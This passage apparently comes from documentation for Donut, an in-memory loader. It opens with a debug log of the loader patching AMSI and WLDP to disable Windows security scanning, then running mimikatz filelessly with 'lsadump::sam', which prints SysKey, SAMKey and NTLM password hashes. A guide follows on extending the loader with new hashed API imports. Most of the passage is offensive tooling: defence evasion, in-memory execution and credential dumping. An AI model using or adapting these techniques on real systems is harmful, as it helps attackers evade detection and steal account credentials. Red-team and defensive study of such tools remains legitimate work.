DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 687DD816E578C4E7
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for B0F95D86327741EC
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for BDD70375BB72B131
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for E74A4DD56C6B3154
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 527C502C0BC36267
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 055C3E8A4CF21475
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 4D1965E404D783BA
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for CC736E0143DB8F2A
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for C87BFE8578BB0049
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for FC7CC8D82764DFBF
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 6F6432B588D39C8D
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 2828FB8F68349704
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 9752F1AA167F8E79
DEBUG: peb.c:87:FindExport(): 9752f1aa167f8e79 is forwarded to api-ms-win-core-com-l1-1-0.CoInitializeEx
DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoInitializeEx)
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 8211344A519AF3BA
DEBUG: peb.c:87:FindExport(): 8211344a519af3ba is forwarded to api-ms-win-core-com-l1-1-0.CoCreateInstance
DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoCreateInstance)
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for FF0605E1258BEE44
DEBUG: peb.c:87:FindExport(): ff0605e1258bee44 is forwarded to api-ms-win-core-com-l1-1-0.CoUninitialize
DEBUG: peb.c:110:FindExport(): Trying to load api-ms-win-core-com-l1-1-0.dll
DEBUG: peb.c:114:FindExport(): Calling GetProcAddress(CoUninitialize)
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for D5CEDA5C642834D7
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for A69EAF72442222A4
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 4DBA40D90962E1D6
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for A1143A47656B2526
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 62FF88CDC045477E
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for E20BCE2C11E82C7B
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for A469294ED1E1D8DC
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 61E26E7C5DD38D2C
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 145C8CF24F5EAF3E
DEBUG: loader/loader.c:196:MainProc(): Resolving API address for 12ACA3AD3CC20AF5
DEBUG: loader/loader.c:218:MainProc(): Module is embedded.
DEBUG: bypass.c:112:DisableAMSI(): Length of AmsiScanBufferStub is 36 bytes.
DEBUG: bypass.c:122:DisableAMSI(): Overwriting AmsiScanBuffer
DEBUG: bypass.c:137:DisableAMSI(): Length of AmsiScanStringStub is 36 bytes.
DEBUG: bypass.c:147:DisableAMSI(): Overwriting AmsiScanString
DEBUG: loader/loader.c:226:MainProc(): DisableAMSI OK
DEBUG: bypass.c:326:DisableWLDP(): Length of WldpQueryDynamicCodeTrustStub is 20 bytes.
DEBUG: bypass.c:350:DisableWLDP(): Length of WldpIsClassInApprovedListStub is 36 bytes.
DEBUG: loader/loader.c:232:MainProc(): DisableWLDP OK
DEBUG: loader/loader.c:239:MainProc(): Compression engine is 5
DEBUG: loader/loader.c:242:MainProc(): Allocating 1015240 bytes of memory for decompressed file and module information
DEBUG: loader/loader.c:252:MainProc(): Duplicating DONUT_MODULE
DEBUG: loader/loader.c:256:MainProc(): Decompressing 478726 -> 1013912
DEBUG: loader/loader.c:270:MainProc(): WorkSpace size : 1415999 | Fragment size : 5161
DEBUG: loader/loader.c:277:MainProc(): Decompressing with RtlDecompressBufferEx(XPRESS HUFFMAN)
DEBUG: loader/loader.c:302:MainProc(): Checking type of module
DEBUG: inmem_pe.c:103:RunPE(): Allocating 1019904 (0xf9000) bytes of RWX memory for file
DEBUG: inmem_pe.c:112:RunPE(): Copying Headers
DEBUG: inmem_pe.c:115:RunPE(): Copying each section to RWX memory 00000178FF170000
DEBUG: inmem_pe.c:127:RunPE(): Applying Relocations
DEBUG: inmem_pe.c:151:RunPE(): Processing the Import Table
DEBUG: inmem_pe.c:159:RunPE(): Loading ADVAPI32.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading Cabinet.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading CRYPT32.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading cryptdll.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading DNSAPI.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading FLTLIB.DLL
DEBUG: inmem_pe.c:159:RunPE(): Loading NETAPI32.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading ole32.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading OLEAUT32.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading RPCRT4.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading SHLWAPI.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading SAMLIB.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading Secur32.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading SHELL32.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading USER32.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading USERENV.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading VERSION.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading HID.DLL
DEBUG: inmem_pe.c:159:RunPE(): Loading SETUPAPI.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading WinSCard.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading WINSTA.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading WLDAP32.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading advapi32.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading msasn1.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading ntdll.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading netapi32.dll
DEBUG: inmem_pe.c:159:RunPE(): Loading KERNEL32.dll
DEBUG: inmem_pe.c:182:RunPE(): Replacing KERNEL32.dll!ExitProcess with ntdll!RtlExitUserThread
DEBUG: inmem_pe.c:159:RunPE(): Loading msvcrt.dll
DEBUG: inmem_pe.c:182:RunPE(): Replacing msvcrt.dll!exit with ntdll!RtlExitUserThread
DEBUG: inmem_pe.c:182:RunPE(): Replacing msvcrt.dll!_cexit with ntdll!RtlExitUserThread
DEBUG: inmem_pe.c:182:RunPE(): Replacing msvcrt.dll!_exit with ntdll!RtlExitUserThread
DEBUG: inmem_pe.c:196:RunPE(): Processing Delayed Import Table
DEBUG: inmem_pe.c:204:RunPE(): Loading bcrypt.dll
DEBUG: inmem_pe.c:204:RunPE(): Loading ncrypt.dll
DEBUG: inmem_pe.c:319:RunPE(): Setting command line: MTFM lsadump::sam exit
DEBUG: inmem_pe.c:433:SetCommandLineW(): Obtaining handle for kernelbase
DEBUG: inmem_pe.c:449:SetCommandLineW(): Searching 2161 pointers
DEBUG: inmem_pe.c:458:SetCommandLineW(): BaseUnicodeCommandLine at 00007FFFD1609E70 : loader  instance
DEBUG: inmem_pe.c:466:SetCommandLineW(): New BaseUnicodeCommandLine at 00007FFFD1609E70 : MTFM lsadump::sam exit
DEBUG: inmem_pe.c:483:SetCommandLineW(): New BaseAnsiCommandLine at 00007FFFD1609E60 : MTFM lsadump::sam exit
DEBUG: inmem_pe.c:530:SetCommandLineW(): Setting ucrtbase.dll!__p__acmdln "loader  instance" to "MTFM lsadump::sam exit"
DEBUG: inmem_pe.c:543:SetCommandLineW(): Setting ucrtbase.dll!__p__wcmdln "loader  instance" to "MTFM lsadump::sam exit"
DEBUG: inmem_pe.c:530:SetCommandLineW(): Setting msvcrt.dll!_acmdln "loader  instance" to "MTFM lsadump::sam exit"
DEBUG: inmem_pe.c:543:SetCommandLineW(): Setting msvcrt.dll!_wcmdln "loader  instance" to "MTFM lsadump::sam exit"
DEBUG: inmem_pe.c:323:RunPE(): Wiping Headers from memory
DEBUG: inmem_pe.c:332:RunPE(): Creating thread for entrypoint of EXE : 00000178FF2007F8


  .#####.   mimikatz 2.2.0 (x64) #18362 Aug 14 2019 01:31:47
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz(commandline) # lsadump::sam
Domain : DESKTOP-B888L2R
SysKey : b43927eef0f56833c527ea951c37abc1
Local SID : S-1-5-21-1047138248-288568923-692962947

SAMKey : f1813d42812fcde9c5fe08807370613d

RID  : 000001f4 (500)
User : Administrator

RID  : 000001f5 (501)
User : Guest

RID  : 000001f7 (503)
User : DefaultAccount

RID  : 000001f8 (504)
User : WDAGUtilityAccount
  Hash NTLM: c288f1c30b232571b0222ae6a5b7d223

RID  : 000003e9 (1001)
User : john
  Hash NTLM: 8846f7eaee8fb117ad06bdd830b7586c

RID  : 000003ea (1002)
User : user
  Hash NTLM: 5835048ce94ad0564e29a924a03510ef

RID  : 000003eb (1003)
User : test

mimikatz(commandline) # exit
Bye!

DEBUG: inmem_pe.c:338:RunPE(): Process terminated
DEBUG: inmem_pe.c:349:RunPE(): Erasing 1019904 bytes of memory at 00000178FF170000
DEBUG: inmem_pe.c:353:RunPE(): Releasing memory
DEBUG: loader/loader.c:343:MainProc(): Erasing RW memory for instance
DEBUG: loader/loader.c:346:MainProc(): Releasing RW memory for instance
DEBUG: loader/loader.c:354:MainProc(): Returning to caller

Obviously you should be cautious with what files you decide to execute on your machine.

13. Extending The Loader

Donut was never designed with modularity in mind, however, a new version in future will try to simplify the process of extending the loader, so that others can write their own code for it. Currently, simple changes to the loader can sometimes require lots of changes to the entire code base and this isn't really ideal. If for any reason you want to update the loader to include additional functionality, the following steps are required.

1. Declare the function pointers

For each API you want the loader to use, declare a function pointer in loader/winapi.h. For example, the Sleep API is declared in its SDK header file as:

void Sleep(DWORD dwMilliseconds);

The function pointer for this would be declared in loader/winapi.h as:

typedef void (WINAPI *Sleep_t)(DWORD dwMilliseconds);

2. Update the API string array and function pointer array

At the moment, Donut resolves API using a 64-bit hash, which is calculated by the generator before being stored in the loader itself. In donut.c is a variable called api_imports, declared as an array of API_IMPORT structures. Each entry contains a case-sensitive API string and corresponding DLL string in lowercase. The Sleep API is exported by kernel32.dll, so if we want the loader to use Sleep, the api_imports must have the following added to it. This array is terminated by an empty entry.

  {KERNEL32_DLL, "Sleep"},

Of course, KERNEL32_DLL used here is a symbolic constant for "kernel32.dll".

The DONUT_INSTANCE structure is defined in include/donut.h and one of the fields called api is defined as a union to hold three members. hash is an array of uint64_t integers to hold a 64-bit hash of each API string. addr is an array of void* pointers to hold the address of an API in memory and finally a structure holding all the function pointers. These pointers are placed in the same order as the API strings stored in api_imports. Currently, the api member can hold up to 64 function pointers or hashes, but this can be increased if required.

Where you place the API string in api_imports is entirely up to you, but it must be in the same order as where the function pointer is placed in the DONUT_INSTANCE structure.

3. Update DLL names

A number of DLL are already loaded by a process; ntdll.dll, kernel32.dll and kernelbase.dll. For everything else, the instance contains a list of DLL strings loaded before attempting to resolve the address of APIs. The following list of DLLs seperated by semi-colon are loaded prior to resolving API. If the API you want Donut loader to use is exported by a DLL not shown here, you need to add it to the list.

// required for each API used by the loader
#define DLL_NAMES "ole32;oleaut32;wininet;mscoree;shell32;dnsapi"

4. Calling an API

If the API were successfully resolved, simply referencing the function pointer in a pointer to DONUT_INSTANCE is enough to invoke it. The following line of code shows how to call the Sleep API declared earlier.

inst->api.Sleep(1000*5);

Future plans for Donut are to provide multiple options for resolving API; Import Address Table (IAT), Export Address Table (EAT) and Exception Directory to name a few. It should also be much easier to write custom payloads using the loader.